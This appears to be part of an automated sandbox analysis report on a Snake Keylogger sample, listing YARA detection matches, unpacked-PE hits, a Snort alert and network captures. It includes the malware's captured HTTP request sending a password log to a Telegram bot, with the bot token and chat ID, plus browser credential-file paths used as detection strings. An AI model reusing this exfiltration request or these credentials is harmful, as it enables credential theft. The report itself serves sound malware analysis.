00000000.00000002.737523761.0000000002950000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x655:$m1: \| Snake Keylogger 0x58b:$m3: SnakePW
00000000.00000002.737154483.0000000002890000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x511:$m1: \| Snake Keylogger 0x447:$m3: SnakePW
00000000.00000002.737212904.00000000028BB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xd6d:$m1: \| Snake Keylogger 0xca3:$m3: SnakePW
00000000.00000002.737268236.00000000028DF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xf65:$m1: \| Snake Keylogger 0xe9b:$m3: SnakePW
00000000.00000002.737839802.00000000029F8000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1125:$m1: \| Snake Keylogger 0x105b:$m3: SnakePW
00000000.00000002.738270244.0000000002AB9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xba5:$m1: \| Snake Keylogger 0xadb:$m3: SnakePW
00000000.00000002.738131471.0000000002A91000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x975:$m1: \| Snake Keylogger 0x8ab:$m3: SnakePW
00000000.00000002.737420491.0000000002928000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x425:$m1: \| Snake Keylogger 0x35b:$m3: SnakePW
00000000.00000002.738395968.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xcf5:$m1: \| Snake Keylogger 0xc2b:$m3: SnakePW
00000000.00000002.738017194.0000000002A69000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x745:$m1: \| Snake Keylogger 0x67b:$m3: SnakePW
00000000.00000002.737513462.000000000294C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x61d:$m1: \| Snake Keylogger 0x553:$m3: SnakePW
00000000.00000002.737567001.0000000002964000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x76d:$m1: \| Snake Keylogger 0x6a3:$m3: SnakePW
00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16a8:$m1: \| Snake Keylogger 0x1ab4:$m1: \| Snake Keylogger 0x1f18:$m1: \| Snake Keylogger 0x5172:$m1: \| Snake Keylogger 0x5308:$m1: \| Snake Keylogger 0x105a0:$m1: \| Snake Keylogger 0x109ac:$m1: \| Snake Keylogger 0x10e10:$m1: \| Snake Keylogger 0x1205e:$m1: \| Snake Keylogger 0x121f4:$m1: \| Snake Keylogger 0x1a980:$m1: \| Snake Keylogger 0x1ad8c:$m1: \| Snake Keylogger 0x1b1f0:$m1: \| Snake Keylogger 0x1c43e:$m1: \| Snake Keylogger 0x1c5d4:$m1: \| Snake Keylogger 0x24d60:$m1: \| Snake Keylogger 0x2516c:$m1: \| Snake Keylogger 0x255d0:$m1: \| Snake Keylogger 0x2681e:$m1: \| Snake Keylogger 0x269b4:$m1: \| Snake Keylogger 0x2f140:$m1: \| Snake Keylogger
00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc4c:$m1: \| Snake Keylogger 0x2d8c:$m1: \| Snake Keylogger 0x4d38:$m1: \| Snake Keylogger 0x6ce4:$m1: \| Snake Keylogger 0x8c90:$m1: \| Snake Keylogger 0xac3c:$m1: \| Snake Keylogger 0xcbe8:$m1: \| Snake Keylogger 0xeb94:$m1: \| Snake Keylogger 0x10b40:$m1: \| Snake Keylogger 0x12aec:$m1: \| Snake Keylogger 0x14a98:$m1: \| Snake Keylogger 0x16a44:$m1: \| Snake Keylogger 0x189f0:$m1: \| Snake Keylogger 0x1a99c:$m1: \| Snake Keylogger 0x1c948:$m1: \| Snake Keylogger 0x1e8f4:$m1: \| Snake Keylogger 0x208a0:$m1: \| Snake Keylogger 0x2284c:$m1: \| Snake Keylogger 0x247f8:$m1: \| Snake Keylogger 0x267a4:$m1: \| Snake Keylogger 0x28750:$m1: \| Snake Keylogger
Process Memory Space: 0OZQi3b0tM.exe PID: 7100	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 0OZQi3b0tM.exe PID: 7100	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0OZQi3b0tM.exe PID: 7100	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4461b:$x5: KeyLoggerEventArgs 0x449b1:$x5: KeyLoggerEventArgs 0x452e7:$x5: KeyLoggerEventArgs 0x45648:$x5: KeyLoggerEventArgs 0x1d2:$m1: \| Snake Keylogger 0x3d0:$m1: \| Snake Keylogger 0x5cd:$m1: \| Snake Keylogger 0x7c9:$m1: \| Snake Keylogger 0x9c6:$m1: \| Snake Keylogger 0xc22:$m1: \| Snake Keylogger 0xe53:$m1: \| Snake Keylogger 0x23b2:$m1: \| Snake Keylogger 0x25b6:$m1: \| Snake Keylogger 0x27b5:$m1: \| Snake Keylogger 0x29b2:$m1: \| Snake Keylogger 0x2bb0:$m1: \| Snake Keylogger 0x2dad:$m1: \| Snake Keylogger 0x2fab:$m1: \| Snake Keylogger 0x3da0:$m1: \| Snake Keylogger 0x478a:$m1: \| Snake Keylogger 0x4988:$m1: \| Snake Keylogger
Click to see the 118 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.0OZQi3b0tM.exe.530000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b1aa:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a393:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a7da:$a4: \Orbitum\User Data\Default\Login Data 0x1b95b:$a5: \Kometa\User Data\Default\Login Data
0.2.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.0OZQi3b0tM.exe.530000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b1aa:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a393:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a7da:$a4: \Orbitum\User Data\Default\Login Data 0x1b95b:$a5: \Kometa\User Data\Default\Login Data
0.2.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.0.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.0OZQi3b0tM.exe.530000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.0OZQi3b0tM.exe.530000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14879:$s1: UnHook 0x14880:$s2: SetHook 0x14888:$s3: CallNextHook 0x14895:$s4: _hook
0.0.0OZQi3b0tM.exe.530000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14879:$s1: UnHook 0x14880:$s2: SetHook 0x14888:$s3: CallNextHook 0x14895:$s4: _hook
0.0.0OZQi3b0tM.exe.530000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1889c:$x1: $%SMTPDV$ 0x1755e:$x2: $#TheHashHere%& 0x18844:$x3: %FTPDV$ 0x17540:$x4: $%TelegramDv$ 0x14ef8:$x5: KeyLoggerEventArgs 0x1528e:$x5: KeyLoggerEventArgs 0x188c8:$m1: \| Snake Keylogger 0x1896e:$m1: \| Snake Keylogger 0x18ac2:$m1: \| Snake Keylogger 0x18be8:$m1: \| Snake Keylogger 0x18d42:$m1: \| Snake Keylogger 0x18868:$m2: Clipboard Logs ID 0x18a78:$m2: Screenshot Logs ID 0x18b8c:$m2: keystroke Logs ID 0x18d78:$m3: SnakePW 0x18a50:$m4: \SnakeKeylogger\
0.2.0OZQi3b0tM.exe.530000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1889c:$x1: $%SMTPDV$ 0x1755e:$x2: $#TheHashHere%& 0x18844:$x3: %FTPDV$ 0x17540:$x4: $%TelegramDv$ 0x14ef8:$x5: KeyLoggerEventArgs 0x1528e:$x5: KeyLoggerEventArgs 0x188c8:$m1: \| Snake Keylogger 0x1896e:$m1: \| Snake Keylogger 0x18ac2:$m1: \| Snake Keylogger 0x18be8:$m1: \| Snake Keylogger 0x18d42:$m1: \| Snake Keylogger 0x18868:$m2: Clipboard Logs ID 0x18a78:$m2: Screenshot Logs ID 0x18b8c:$m2: keystroke Logs ID 0x18d78:$m3: SnakePW 0x18a50:$m4: \SnakeKeylogger\
Click to see the 9 entries

Snort Signatures

ETPRO TROJAN 404/Snake/Matiex Keylogger Style External IP Check - Source IP: 192.168.2.5 - Destination IP: 193.122.130.0

Timestamp:	192.168.2.5193.122.130.049746802842536 06/26/22-09:32:22.672654
SID:	2842536
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8da5756c77a0974Host: api.telegram.orgContent-Length: 504Connection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: checkip.dyndns.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49948 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: sslproxydump.pcap, type: PCAP	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738443207.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737543287.0000000002958000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738278860.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737582921.000000000296C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738464278.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737477229.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737233949.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737426073.000000000292C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737400500.000000000291C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737877910.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737872155.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738102517.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737894796.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737177065.0000000002898000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737163773.0000000002894000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738298999.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737551923.000000000295C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737275091.00000000028E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737205564.00000000028B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737680246.0000000002990000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737438859.0000000002934000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737240182.00000000028CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738349545.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738520206.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737615006.000000000297C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738206086.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737694580.0000000002998000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738046605.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737534636.0000000002954000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738084741.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738331335.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737246038.00000000028CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737258885.00000000028D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737950672.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738536747.0000000002AED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737218317.00000000028BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737983761.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737998771.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737291941.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737504124.0000000002948000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737901412.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737883433.0000000002A35000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737944111.0000000002A4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738244012.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737409041.0000000002920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738141181.0000000002A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737889019.0000000002A39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737855627.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737285680.00000000028EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738079094.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738039601.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738059775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738194827.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737190839.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737592635.0000000002970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738181191.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737144637.000000000288C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737978655.0000000002A5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737655258.0000000002988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737628909.0000000002980000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737833563.00000000029F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737414593.0000000002924000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737929824.0000000002A45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737560330.0000000002960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737825477.00000000029F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738023885.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738485397.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737575208.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737808101.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737431755.0000000002930000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737466902.0000000002940000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737280426.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737670833.000000000298C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737689328.0000000002994000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737225304.00000000028C3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737609149.0000000002978000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737936851.0000000002A49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737641884.0000000002984000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738147230.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738223259.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738314614.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737450837.0000000002938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737597795.0000000002974000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738125525.0000000002A8D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738160524.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738425558.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738406461.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738262050.0000000002AB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737864301.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737968200.0000000002A55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737263659.00000000028DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737253851.00000000028D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738109588.0000000002A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737973247.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737457876.000000000293C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737523761.0000000002950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737154483.0000000002890000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737212904.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737268236.00000000028DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737839802.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738270244.0000000002AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738131471.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737420491.0000000002928000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738395968.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.738017194.0000000002A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
